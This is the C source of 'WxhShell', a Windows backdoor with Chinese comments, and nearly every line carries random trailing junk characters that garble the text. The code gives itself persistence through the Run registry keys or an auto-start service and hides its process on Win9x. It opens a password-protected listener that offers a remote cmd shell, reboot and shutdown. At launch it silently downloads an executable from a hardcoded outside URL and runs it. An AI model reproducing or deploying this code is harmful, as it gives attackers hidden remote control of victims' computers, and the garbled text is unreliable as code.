} YU,:3{9,
OYy !4Fp
if(!OsIsNt) { L2$L.@
// 如果时win9x，隐藏进程并且设置为注册表启动 q,&T$Tw
HideProc(); <5}du9@
StartWxhshell(lpCmdLine); <\EfG:e
} eV%bJkt.
else ghj~r
if(StartFromService()) i?=.; 0[|
// 以服务方式启动 k|C8sSH
StartServiceCtrlDispatcher(DispatchTable); 6x{IY
else jdf@lb=5l
// 普通方式启动 * XGBym
StartWxhshell(lpCmdLine); =Q/>g6
9v2 ;
return 0; xB+H7Ya
} !c($C
]w_)Spo.
BF!zfX?n
0M98y!A 5^
=========================================== ~=ys~em e
lM"7 Z
c10).zZ
wCmv/m
p2(_YN;s
-=IM8Dny
" /vMyf),2
V~Lq,oth
#include <stdio.h> Q>ytO'v1
#include <string.h> #wiP{+%b
#include <windows.h> &Qjl|2
#include <winsock2.h> ]l%.X7M9
#include <winsvc.h> R!G7;m'N1
#include <urlmon.h> vDvGT<d
<DS6-y
#pragma comment (lib, "Ws2_32.lib") ulM&kw.4i
#pragma comment (lib, "urlmon.lib") >6+K"J-@
CF_!{X_k}
#define MAX_USER 100 // 最大客户端连接数 o hlVc%a
#define BUF_SOCK 200 // sock buffer fk1f'M)/8
#define KEY_BUFF 255 // 输入 buffer -~f.>@Wb
I9>*Yy5RNS
#define REBOOT 0 // 重启 pnJT]?},
#define SHUTDOWN 1 // 关机 *xP:7K
Z+(V \
#define DEF_PORT 5000 // 监听端口 hh&y2#Io
$uhDBmb
#define REG_LEN 16 // 注册表键长度 qH"a!
#define SVC_LEN 80 // NT服务名长度 "cM5=;
E2D8s=r
// 从dll定义API It-*CD9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w-Fk&dC69
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pSFWNWQ'B
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {fD#=
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #57z-x[1
'qE
// wxhshell配置信息 B$EP'5@b
struct WSCFG { "@$STptkc
int ws_port; // 监听端口 [{$0E=&0
char ws_passstr[REG_LEN]; // 口令 _<Yo2,1^
int ws_autoins; // 安装标记, 1=yes 0=no @un }&URp
char ws_regname[REG_LEN]; // 注册表键名 [bJnl>A
char ws_svcname[REG_LEN]; // 服务名 F9r*ZyNlx
char ws_svcdisp[SVC_LEN]; // 服务显示名 7:'>~>'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 5&=n
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H%aLkV!J
int ws_downexe; // 下载执行标记, 1=yes 0=no mC(t;{
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DjvgKy=Jr_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y3>\;W*?
k]pD3.QJ
}; 3HR]TQ%r
W=]",<
// default Wxhshell configuration >nEnX
struct WSCFG wscfg={DEF_PORT, v*'\w#
"xuhuanlingzhe", Cq;d2u0)o$
1, *?Ef}:]
"Wxhshell", mXj Ljgc}
"Wxhshell", REBDr;tv
"WxhShell Service", 'fFdqsXr
"Wrsky Windows CmdShell Service", {`CWzk?
"Please Input Your Password: ", 2tm-:CPG
1, BK SK@OV
"http://www.wrsky.com/wxhshell.exe", Gi4dgMVei
"Wxhshell.exe" )m;qv'=!
}; h xJgxM
?I#hrv@
// 消息定义模块 Cbs4`D,
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /,$\H
char *msg_ws_prompt="\n\r? for help\n\r#>"; *r$.1nke
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q.dy $`\
char *msg_ws_ext="\n\rExit."; fhx:EZ:~
char *msg_ws_end="\n\rQuit."; V_622~Tc/[
char *msg_ws_boot="\n\rReboot..."; l{m~d!w`a
char *msg_ws_poff="\n\rShutdown..."; [=3tAPpzK
char *msg_ws_down="\n\rSave to "; _5 tqO5'
K(fLqXE%
char *msg_ws_err="\n\rErr!"; _k.bGYldk
char *msg_ws_ok="\n\rOK!"; bTp2)a^G
,!u@:UBT
char ExeFile[MAX_PATH]; utJVuJw:t
int nUser = 0; ?$4R <
HANDLE handles[MAX_USER]; >1I2R/'
int OsIsNt; w?W e|x3
(H%d]
SERVICE_STATUS serviceStatus; B&kT#
SERVICE_STATUS_HANDLE hServiceStatusHandle; f<altz_\q
@Qjl`SL%O^
// 函数声明 4{WV
int Install(void); Cf=q_\0|W
int Uninstall(void); $_zkq@
int DownloadFile(char *sURL, SOCKET wsh); 5po'(r|U
int Boot(int flag); W)msaq,
void HideProc(void); rnv7L^9^A
int GetOsVer(void); EZumJ."
int Wxhshell(SOCKET wsl); |QNLO#$ -
void TalkWithClient(void *cs); 05VOUa*pb
int CmdShell(SOCKET sock); PeUd
int StartFromService(void); S*m`'
int StartWxhshell(LPSTR lpCmdLine); rspoSPnY1
@))}\:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t^_{5
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^lc}FN
6Vbv$ AU
// 数据结构和表定义 2*q: ^
SERVICE_TABLE_ENTRY DispatchTable[] = hN:F8r+DG
{ Pn'(8bRm
{wscfg.ws_svcname, NTServiceMain}, x+y!P
{NULL, NULL} ;.Oh88|k
}; }vUlTH
hp]ng!I{\u
// 自我安装 Jt>[]g$
int Install(void) -Xxu/U})%
{ xV>iL(?
char svExeFile[MAX_PATH]; H(NT|
HKEY key; L_lDFF
strcpy(svExeFile,ExeFile); L740s[,`o#
zdjM%l);
// 如果是win9x系统，修改注册表设为自启动 yw*mA1v
if(!OsIsNt) { :m++ iR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y( $Ji12
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FSU%?PxO
RegCloseKey(key); gF,[u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =2nn "YVP
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -q&7J' N
RegCloseKey(key); ,bVS.A'o
return 0; ;]&~D +XH
} c.8((h/
} G_^iR-
} iJZ|[jEDV
else { n-hvh-ZO
'Uko^R)(
// 如果是NT以上系统，安装为系统服务 Q$fRi[/L
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o4/I1Mq
if (schSCManager!=0) #6N+5Yx_[
{ ."IJmv
SC_HANDLE schService = CreateService KM/U?`6>:
( 0;FqX*
schSCManager, . Z*j!{@c
wscfg.ws_svcname, %kK ][2e
wscfg.ws_svcdisp, ~&DB!6*
SERVICE_ALL_ACCESS, r:c@17
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3`fJzS%O
SERVICE_AUTO_START, vnC<*k4&v
SERVICE_ERROR_NORMAL, b46[fa
svExeFile, BKC7kDK3H
NULL, JO2ZS6k[
NULL, ^"O{o8l>2
NULL, &o*s !u
NULL, la\zaKC;>
NULL M&qh]v gC
); ;-KAUgL2
if (schService!=0) _{LN{iqDv
{ \~@[QGKN
CloseServiceHandle(schService); <%d51~@={I
CloseServiceHandle(schSCManager); V#'26@@
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eg"=H50
strcat(svExeFile,wscfg.ws_svcname); 7?=43bZl
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H96BqNoO
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m~)Fr8Wh6
RegCloseKey(key); `fBG~NDw
return 0; f^W[;w
} ixIV=#
} =\~E n5
CloseServiceHandle(schSCManager); << 3 a<I
} op hH9D
} tcBC!_vF
P?9nTG
return 1; UL86-R!
} ]\CU9J|H8
Qq#Ff\|4u(
// 自我卸载 %55@3)V8Rf
int Uninstall(void) 9z5\*b s
{ $_Y/'IN`k
HKEY key; }.0Bl&\UK
@S`$C
if(!OsIsNt) { Ua):y) A
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P^ptsZ%
RegDeleteValue(key,wscfg.ws_regname); ;~W8v.EW
RegCloseKey(key); `J72+RA
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P!kw;x
RegDeleteValue(key,wscfg.ws_regname); 9YR]+*
RegCloseKey(key); >qR7'QwP
return 0; 7#QLtU
} A0G)imsW:_
} NF6X- ,cd
} ]JOephX2R
else { L2KG0i`+
fJaubDxa
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o4$Ott%Wm
if (schSCManager!=0) UQ/qBbn
{ 6gXIt9B.h$
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FY$fV"s
if (schService!=0) _`H.h6h
{ )h#]iGVN}
if(DeleteService(schService)!=0) { [+;qWfs B
CloseServiceHandle(schService); K*~]fy
CloseServiceHandle(schSCManager); X*i/A<Y`=
return 0; 1%%'6cWWu
} ?AEd(_a!q
CloseServiceHandle(schService); VZ$=6CavH
} OB(pIzSe
CloseServiceHandle(schSCManager); %m9CdWb=w
} _5mc('
} P''X_1oMC
moMYdArj
return 1; MU'@2c
} zrs<#8!Y_!
[]|;qHhC~(
// 从指定url下载文件 [QT1Ju64
int DownloadFile(char *sURL, SOCKET wsh) \i!Son.<
{ =VNSiK>F
HRESULT hr; j Fma|y
char seps[]= "/"; Wqra8u#
char *token; CswE
char *file; FXV`9uq}Z
char myURL[MAX_PATH]; )t:7_M3
char myFILE[MAX_PATH]; I^D0<lHl~
3J{vt"dS
strcpy(myURL,sURL); JWROYED
token=strtok(myURL,seps); m*Lo|F
while(token!=NULL) m#f{]+6U
{ RW_q~bA9
file=token; C)Jn[/BD
token=strtok(NULL,seps); Tv5g`/e=Ej
} 'xnnLCm.
\hlR]m!C
GetCurrentDirectory(MAX_PATH,myFILE); :~zv t
strcat(myFILE, "\\"); aQ#qRkI
strcat(myFILE, file); #D*r]M
send(wsh,myFILE,strlen(myFILE),0); Ri#H.T<'
send(wsh,"...",3,0); aE|OTm+@9;
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]"F5;p;y
if(hr==S_OK) \'Z<P,8~
return 0; ~9=aT1S|
else y#v"GblM
return 1; C5W>W4EM
:B|Dr v
} :!fG; )=
9b;A1gu
// 系统电源模块 AW,OHSXh6
int Boot(int flag) 9 [jTs3l:
{ ~]'pY
HANDLE hToken; e-5?p~>
TOKEN_PRIVILEGES tkp; %O%=rUD
9bJQT'<R
if(OsIsNt) { }LP!)|E
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s%pfkoOY%
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a%BeqSZh
tkp.PrivilegeCount = 1; 1tMQqI`N
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z5(enTy-
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7v7G[n
if(flag==REBOOT) { =Z G:x<Hg
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nZy X_J,Vd
return 0; #~L h#
} CHJ>{b`O
else { awewYf$li
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j'0r'
return 0; =gh`JN6
} wnLi2k/Dt<
} N#C1-*[C
else { [5$w=u"j
if(flag==REBOOT) { a`(a)9i
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wJ<Oo@snm
return 0; !T,AdNa8
} sZ<9A Xk-E
else { sj?3M@l95W
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .lgPFr6X
return 0; Q&'}BeUbm
} 6 sxffJt
} 'b*%ixa
dq1:s1
return 1; ;a{:%t
} JwnQ0 e
Z?Hs@j
// win9x进程隐藏模块 dsx]/49<
void HideProc(void) 6 15s5ZA
{ Zk8|K'oHx
z+a%5J
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wCf~O'XLw
if ( hKernel != NULL ) `+:.L>5([
{ c#IYFTz
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7R#+Le)
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D]a<4a18
FreeLibrary(hKernel); E37<"(;
} 73#x|lY
%ek'~
return; G0O#/%%
} p[lNy{u~M
oh"O07
// 获取操作系统版本 |2\{z{?
int GetOsVer(void) l!}:|N Yh!
{ mkh"Kb*{
OSVERSIONINFO winfo; B+C);WQ,
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iy.2A!f^.
GetVersionEx(&winfo); CC\*?BKj"
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !zj0/QG\
return 1; ")O`mXg-
else #_Z$2L"U
return 0; / N)W2
} ac kqH+'
P0H6mn*
// 客户端句柄模块 x3qW0K8
int Wxhshell(SOCKET wsl) PHA-9\jC{
{ bY}eUL2i4
SOCKET wsh; Le<wR
struct sockaddr_in client; .<tquswg
DWORD myID; ZxV"(\$n
F:y[@Yn
while(nUser<MAX_USER) pwwH<0[
{ ?(*t@ {k
int nSize=sizeof(client); FOq1>>a0
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5JEbe
if(wsh==INVALID_SOCKET) return 1; ,rJXy_
lWBb4 !l
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yV_4?nh
if(handles[nUser]==0) fDG0BNLY
closesocket(wsh); .9md~j:o^s
else &Tl 0Pf
nUser++; #Z6'?p9
} vSi_t K4
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); meN2ZB?Y
TuW%zF/
return 0; |t; ~:A
} "\0v,!@
Qne/g}PD`
// 关闭 socket 8,0YD#x
void CloseIt(SOCKET wsh) 3%.#}O,(
{ 'v]u#/7a
closesocket(wsh); .U T@p
nUser--; J'N!Omz
ExitThread(0); K&8dA0i2u2
} r}uz7}z %"
dt2$`X18
// 客户端请求句柄 wdUBg*X8
void TalkWithClient(void *cs) n_3O-X(
{ E;<l(.Ar
`7/Y@}n
SOCKET wsh=(SOCKET)cs; f>aRkTHf
char pwd[SVC_LEN]; ChCrL[2
char cmd[KEY_BUFF]; UI>Y0O
char chr[1]; a33TPoj
int i,j; h6} lpd
u|4$+QiD
while (nUser < MAX_USER) { e9Nk3Sj]
ID#I`}h.k
if(wscfg.ws_passstr) { X/N0LU(q
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1KjU ] r2
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y(44pA&oN
//ZeroMemory(pwd,KEY_BUFF); ]O]GeAGC2
i=0; u%.$BD Hg
while(i<SVC_LEN) { Yv:55+e!|
C-iK$/U
// 设置超时 h,Q3oy\s1
fd_set FdRead; jg?x&'u\)
struct timeval TimeOut; qL,tYJ<m%
FD_ZERO(&FdRead); c+2FC@q{l
FD_SET(wsh,&FdRead); C`5
TimeOut.tv_sec=8; ?(R]9.5S
TimeOut.tv_usec=0; cK 06]-Y
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .l@xsJn
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A<W6=5h
.nyfYa+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Y]mOD^p
pwd=chr[0]; b!)<-|IK
if(chr[0]==0xd || chr[0]==0xa) { /PLn+-
pwd=0; Zfyo-Wk
break; e*L.U~ZR
} !ET~KL!
i++; |^A;&//
} P{u0ftyX}
/Ml.}7&
// 如果是非法用户，关闭 socket /z}~zO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); clk[/'1
} Ntbg`LGf'!
\|K;-pL
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s M+WkN}{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a<@N-Exr
yV"ZRrjO'Z
while(1) { *cEob b
f"St&q>[s
ZeroMemory(cmd,KEY_BUFF); $#]]K
J&T.(
// 自动支持客户端 telnet标准 1|ra&(=)
j=0; ;g~TWy^o
while(j<KEY_BUFF) { v{A KEX*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n(el]_d
cmd[j]=chr[0]; ezMI\r6
if(chr[0]==0xa || chr[0]==0xd) { .B\5OI,]
cmd[j]=0; 3K_A<j:
break; (<)]sp2
} >$ e9igwe
j++; RoyPrO [3
} *guoWPA|Ij
u{*SX k
// 下载文件 $ >EYhLBa
if(strstr(cmd,"http://")) { KhMSL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PnoPbk[<
if(DownloadFile(cmd,wsh)) n+PzA[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)4P Ll
else 3Oi nK['
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {>F7CT'G6
} ? 8LXP
else { l'3pQ;
O/<K!;(@?
switch(cmd[0]) { Cm\6tD
'UYR5Y>
// 帮助 $bsG]
case '?': { ~SnSEhE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DuOG {
break; QI3Nc8t_2
} W]5USFan
// 安装 Ck!VV2U#
case 'i': { /<]{KI
if(Install()) Lg+G; W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :at$HCaK
else \xS&v7b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qIAoA.
break; EeF'&zE-
} dtcIC0:[
// 卸载 .Fa4shNV
case 'r': { 4'LB7}WG
if(Uninstall()) yd?x=|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FGh]S-A
else 4-[J@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E,f>1meN=
break; n8DxB@DI
} }sOwp}FV8X
// 显示 wxhshell 所在路径 g'|MA~4yB
case 'p': { g=$1cC+(
char svExeFile[MAX_PATH]; I;1lX L
strcpy(svExeFile,"\n\r"); eR3$i)5
strcat(svExeFile,ExeFile); %Pqf{*d8
send(wsh,svExeFile,strlen(svExeFile),0); 'GL*u#h
break; !1G."fo
} ,Uy|5zv
// 重启 .({smN,B
case 'b': { $O*O/iG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 17OH]
if(Boot(REBOOT)) ^*fxR]Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*,rGCt'T
else { m]cHF.:5
closesocket(wsh); oI#a_/w
ExitThread(0); q=9`06
} QurW/a
break; Nq@+'<@p$
} EVNY*&p
// 关机 Kk{<@v)
case 'd': { NoJ`6MB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w/IZDMBf|
if(Boot(SHUTDOWN)) jr`Ess
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _BDK`D
else { q]\g,a
closesocket(wsh); e A}%C.ZR
ExitThread(0); "5,
} G7CG~:3h+
break; t2r?N}"P
} m{7(PHpw
// 获取shell nQ/E5y
case 's': { YLVPAODY
CmdShell(wsh); l#}.^71+
closesocket(wsh); d` [HT``
ExitThread(0); !S_^94b@
break; RTFZPq84
} "$}vP<SM
// 退出 :(H>2xS,s
case 'x': { %/rMg"f:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6AWKLFMV
CloseIt(wsh); np4+"
break; ?SC[G-b
} }`NU@O#
// 离开 +z$pg
case 'q': { ;q1A*f\:#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "ax..Mh\y
closesocket(wsh); TET`b7G
WSACleanup(); >pr=|$zk=
exit(1); .&x}NYX4
break; @l0|*lo%
} ~I(Hc.Q
} Y1arX^Zb
} ~QZ"Z tu
%xQ.7~
// 提示信息 Ve/xnn]'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ${8?N:>t
} 1c@}C+F+
} L.=w?%:H=
wlPx,UqZ
return; )aX2jSp
} ^xZ e2@
1LY8Ma]E
// shell模块句柄 =-o'gL
int CmdShell(SOCKET sock) U #~;)fZ
{ aSP4a+\*
STARTUPINFO si; p)~lL
ZeroMemory(&si,sizeof(si)); Ei2%DMN7)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _e7-zg$/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ')N{wSM9Ft
PROCESS_INFORMATION ProcessInfo; 7FF-*2@
char cmdline[]="cmd"; LA[g(i 7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j.:h5Y^N
return 0; 9*:gr#(5
} S:61vD
_xLHrT!y
// 自身启动模式 U'*t~x<
int StartFromService(void) k'X;ruQ:tF
{ -!({BH-M_
typedef struct DKmZ
{ ! <WBCclX
DWORD ExitStatus; dC1V-x10ju
DWORD PebBaseAddress; n& $^04+i
DWORD AffinityMask; ]/cd;u
DWORD BasePriority; |([R'Orm
ULONG UniqueProcessId; j(#%tIv
ULONG InheritedFromUniqueProcessId; rbZ[!LA
} PROCESS_BASIC_INFORMATION; Yif*"oO
V|>oGtt7
PROCNTQSIP NtQueryInformationProcess; ]Zf6Yw.Y
Ay{t254/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _#_ E^!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C}5M;|%3)
$c&0F,
HANDLE hProcess; =IKEb#R/
PROCESS_BASIC_INFORMATION pbi; Pj?Dmk~
[4J6iF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |3? 8)z\n
if(NULL == hInst ) return 0; MP>n)!R[`
q*)+K9LRk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =iHiPvP0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xdy^^3"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OJb*VtZz5R
{I{:GcS
if (!NtQueryInformationProcess) return 0; AD('=g J
4FMAz^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +'oX
if(!hProcess) return 0; StYzGJ
insY(.N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B8I4[@m>w\
?nKF6f
CloseHandle(hProcess); [*m2
r(2R<A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C+NF9N
if(hProcess==NULL) return 0; =sOo:s
"?.~/@
HMODULE hMod; iz"3\{aN
char procName[255]; [{&jr]w`|
unsigned long cbNeeded; xU9@$am
o'%eI
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (S^ck%]]a!
p D=w>"
CloseHandle(hProcess); yy(A(}
bZipm(e
if(strstr(procName,"services")) return 1; // 以服务启动 Ey&aBYR
B>TSdn={>
return 0; // 注册表启动 uL?vG6% ^1
} v+1i=s2$
PQj<[rY
// 主模块 8}BBOD
int StartWxhshell(LPSTR lpCmdLine) $(HjI \%l^
{ $R^lo$(
SOCKET wsl; (%<'A
BOOL val=TRUE; [B6DC`M
int port=0; "<l<& qp
struct sockaddr_in door; Qu~*46?0
fUcLfnr
if(wscfg.ws_autoins) Install(); F;D1F+S
,-rB=|w
port=atoi(lpCmdLine); IjZ@U%g@;
t%+$"nP
if(port<=0) port=wscfg.ws_port; RazBc.o<
KAb(NZK
WSADATA data; C}CKnkMMD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y@apJ;_R-
J4yt N3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Gq]d:-7l
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m)f|:MM
door.sin_family = AF_INET; g#W_S?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yr4ou
door.sin_port = htons(port); W^xZ+]
n,KA&)/s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l_+A5Xy
closesocket(wsl); [b`6v`x
return 1; &(O06QL
} ndOfbu;mf
_+zVpZ
if(listen(wsl,2) == INVALID_SOCKET) { $A?}a
closesocket(wsl); |%ZpatZA5
return 1; F";FG 0
} $pFk"]=
Wxhshell(wsl); g@E&uyM
WSACleanup(); }aZrou3E
s)tpr
return 0; @}eNV~ROu
5\G)Q<A]*L
} ? ICDIn
K^ 6+Ily
// 以NT服务方式启动 o>!JrH
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NW De-<fQ
{ OROqT~6G
DWORD status = 0; 6_ ]8\n
DWORD specificError = 0xfffffff; vPsq<l}
l;5`0N?QO
serviceStatus.dwServiceType = SERVICE_WIN32; g8Aj `O
serviceStatus.dwCurrentState = SERVICE_START_PENDING; n2E4!L|q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0pNo`Bm
serviceStatus.dwWin32ExitCode = 0; 5&qY3@I7l
serviceStatus.dwServiceSpecificExitCode = 0; tw86:kYEz
serviceStatus.dwCheckPoint = 0; {_as!5l
serviceStatus.dwWaitHint = 0; %Qd3BZ
<_f`$z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (j=DD6fC
if (hServiceStatusHandle==0) return; i+RD]QL
xPvRQ
status = GetLastError(); h60\ Y 8
if (status!=NO_ERROR) DvJB59:_}
{ UKYupLu5
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?'f^X$aS
serviceStatus.dwCheckPoint = 0; Z~RdFC
serviceStatus.dwWaitHint = 0; !5E9sk{)
serviceStatus.dwWin32ExitCode = status; b_mWu@$
serviceStatus.dwServiceSpecificExitCode = specificError; z'e1"Y.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9,KVBO
return; Zx9.pFc"
} 44<v9uSK
UCn.t
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]'E}
serviceStatus.dwCheckPoint = 0; -D;lS 6
serviceStatus.dwWaitHint = 0; &EGY+p|2Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @F~0p5I
} tgK x4
at=D&oy4"+
// 处理NT服务事件，比如：启动、停止 tw]/,>\G
VOID WINAPI NTServiceHandler(DWORD fdwControl) a2[8wv1
{ $u&|[vcP0
switch(fdwControl) 6,a%&1_
{ Ys)+9yPPn
case SERVICE_CONTROL_STOP: nxD'r
serviceStatus.dwWin32ExitCode = 0; z?I+u*rF6
serviceStatus.dwCurrentState = SERVICE_STOPPED; N:A3kp
serviceStatus.dwCheckPoint = 0; TJE% U0Ln
serviceStatus.dwWaitHint = 0; $e>/?Ss
{ 8~}s 3j4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Euqjxz
} VVgsLQd
return; Q;=6ag'
case SERVICE_CONTROL_PAUSE: m\/>C|f\
serviceStatus.dwCurrentState = SERVICE_PAUSED; P4i3y{$V
break; F ZM2
case SERVICE_CONTROL_CONTINUE: R&]c"cO L8
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2B5A!?~>
break; `!]R!T@C
case SERVICE_CONTROL_INTERROGATE: vuAQm}A4'g
break; keqr%:E8
}; sbs[=LW4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p1Y+
} /A0 [_
_E3U.mV
// 标准应用程序主函数 Ng?apaIi@~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z|Hy>|+
{ G`9cd\^
w9/nVu
// 获取操作系统版本 r9+E'\
OsIsNt=GetOsVer(); w:ORmR.p
GetModuleFileName(NULL,ExeFile,MAX_PATH); _{[k[]
"xL;(Fqu
// 从命令行安装 GU:r vS!
if(strpbrk(lpCmdLine,"iI")) Install(); YCirOge
hN Z4v/
// 下载执行文件 hTlnw[I
if(wscfg.ws_downexe) { e$ThSh\+(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TP{>O%b
WinExec(wscfg.ws_filenam,SW_HIDE); 3Ne9%"
} *?EO n-
LDT'FwMjy
if(!OsIsNt) { muL>g_H
// 如果时win9x，隐藏进程并且设置为注册表启动 V?U%C%C|e
HideProc(); 7(yXsVq
StartWxhshell(lpCmdLine); b*btkaVue
} PN1(j|
else `G_(xN7O
if(StartFromService()) t-.2+6"\
// 以服务方式启动 [z W_%O kP
StartServiceCtrlDispatcher(DispatchTable); DQ}_9?3
else 7xLo4
